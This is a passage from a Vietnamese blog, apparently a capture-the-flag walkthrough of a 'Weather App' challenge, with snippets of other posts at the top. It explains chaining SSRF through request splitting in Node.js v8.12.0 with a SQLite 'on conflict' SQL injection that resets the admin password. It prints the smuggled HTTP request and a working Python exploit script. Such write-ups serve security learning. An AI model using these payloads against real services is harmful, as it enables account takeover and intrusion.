Weather App

Search for a command to run...

No comments yet. Be the first to comment.
Docker Docker là gì? Docker là gì? Docker là nền tảng sử dụng để phát triển, đóng gói và chạy ứng dụng. Về cơ bản, Docker sử dụng công nghệ Container hóa để cô lập các ứng dụng và tách nó ra khỏi hạ tầng sử dụng, bằng cách này thì việc triển khai và ...
Walkthrough Đề bài đưa ra một Source code bao gồm hàm bị mật mã hóa (encrypt) và một đoạn thông báo(message) đã bị mật mã hóa. Về cơ bản đoạn mã hóa này chỉ sử dụng toán học và mã hóa (encoding) để sinh ra bản mã(cipher text). def encryption(msg): ...
Tóm tắt Đây một bài Blackbox cần quan sát thêm ở các thông tin đưa ra là có thể nhận ra. Vector attack ở bài này liên quan tới SSTI (sever side template injection) khi cho phép người dùng tùy ý điều khiển ở một số page tưởng như vô hại dẫn đến RCE. W...

Tóm tắt Bài này tiếp tục là một bài Whitebox. Lỗi đến từ việc sử dụng thư viện có lỗ hổng ở đây là Pillow. Walkthrough Nói sơ qua về Web thì đây là một Web cho phép upload ảnh là tập hợp chúng lại thành một ảnh Gif Xem qua một chút source thì có du...

Đây lại là một bài Whitebox, cần một chút hiểu biết(đã từng làm) về các lỗ hổng khác để có thể hoàn thành bài.
Điểm đang chú ý nhất là việc lỗi dẫn đến lỗ hổng SSRF ở bài này là việc chuyển đổi từ String tới bytes có thể dẫn tới lỗ hổng.

Lướt qua ứng dụng cũng không có gì ngoài việc ứng dụng đưa ra dữ liệu về thời tiết hiện tại. Phải lướt qua source để tìm kiếm thêm API.

Flag sẽ được đưa ra khi chúng ta login được vào tài khoản admin. Ngoài ra, còn một API cho phép ta đăng ký tài khoản mới và tại đây tồn tại lỗ hổng SQL Injection (cái này tác giả cũng cẩn thận note lại cho mọi người).

Việc xử lý tài khoản admin được tạo ban đầu có thể bypass tương tự như trong MYSQL với SQLite on Conflict. Nhưng một vấn đề ở đây là việc đăng kí chỉ có phép từ Local!

Mình lúc đầu cũng ngây thơ khi tìm cách bypass cái regex này thông qua việc sửa Header để bypass nhưng mọi nỗ lực tìm kiếm đều chỉ ra việc bypass cái regex này là không thể =)))
Quay ra tìm thêm được một đoạn API thời tiết để lấy thông tin có thể Injection nhưng API cũng chỉ là để đổ dữ liệu ra Frontend, không thấy sử dụng phía Server side.

Cuối cùng quay lại với file Docker thì phát hiện khá hay là ứng dụng này dùng Nodejs v8.12.0 một phiên bản khá là cũ với phiên bản LTS hiện tại là v14 và v12 tức là còn trước cả v10. Tìm hiểu một hồi lâu thì phiên bản này tồn tại khá nhiều lỗ hổng, đặc biệt có vài lỗ hổng liên quan tới SSRF thông qua Request Splitting, và mình lang thang một hồi tìm được bài này Security bugs: SSRF via Request Splitting .
Tóm váy nhanh thì như sau:
http.get() nhận vào đối số là một string.HTTP requestthì cần sử dụng là bytes array chứ không thể thực hiện trên string. Do đó các string khi được đưa vào sẽ đồng thời chuyển về bytes array và escape các kí tự đặc biệt. latin1 nếu không có body.> v = "/caf\u{E9}\u{01F436}"
'/café🐶'
> Buffer.from(v, 'latin1').toString('latin1')
'/café=6'
CRLF) để có thể thực hiện Request Splitting bằng cách sử dụng các ký tự \u010A\u010D thì sẽ trở thành ký tự ngắt CRLFkhi được gửi đi. Quay lại với cái lỗ hổng ở mã nguồn ở trên thì việc có thể thực hiện chuyển mật khẩu tài khoản admin thông qua Request splitting tới API lấy dữ liệu thời tiết.
Request cần gửi sẽ có dạng như sau, nhớ là giữa các request cần loại bỏ HeaderConnection: close để tránh đóng kết nối khi tất cả các request chưa được chạy hết, chỉ để lại Header này ở request cuối cùng.
GET /api...<start here> HTTP/1.1
Host: 127.0.0.1
POST /register HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 95
username=admin&password=123') on conflict(username) do update set password='d3s34'-- -
GET /..<end here> HTTP/1.1
Host: 127.0.0.1
Connection: close
Để thực hiện đoạn body ở giữ thì cần đưa ngắt dòng của HTTP Request vào thông qua lỗ hổng phía trên của NodeJs. Đoạn code exploit mình viết được sẽ như sau:
def exploit():
crlf = "\u010D\u010A"
space = "\u0120"
username = "admin"
password="1') on conflict(username) do update set password='d3s34';-- -"\
.replace(" ", space)\
.replace("'", "%27")
payload = f"{space}HTTP/1.1{crlf}" \
f"Host:{space}127.0.0.1{crlf}" \
f"{crlf}" \
\
f"POST{space}/register{space}HTTP/1.1{crlf}" \
f"Host:{space}127.0.0.1{crlf}" \
f"Content-Type:{space}application/x-www-form-urlencoded{crlf}" \
f"Content-Length:{space}{len(username) + len(password) + len('username=&password=')}{crlf}" \
f"{crlf}" \
f"username={username}&password={password}{crlf}" \
f"{crlf}" \
\
f"GET{space}/VN"
data = {
"endpoint": "127.0.0.1",
"city": "Hanoi",
"country": "VN" + payload
}
response = requests.post(url="http://188.166.173.208:31625/api/weather", data=data)
Và kết quả sẽ đăng nhập được thông qua mật khẩu Injection được ở trên.
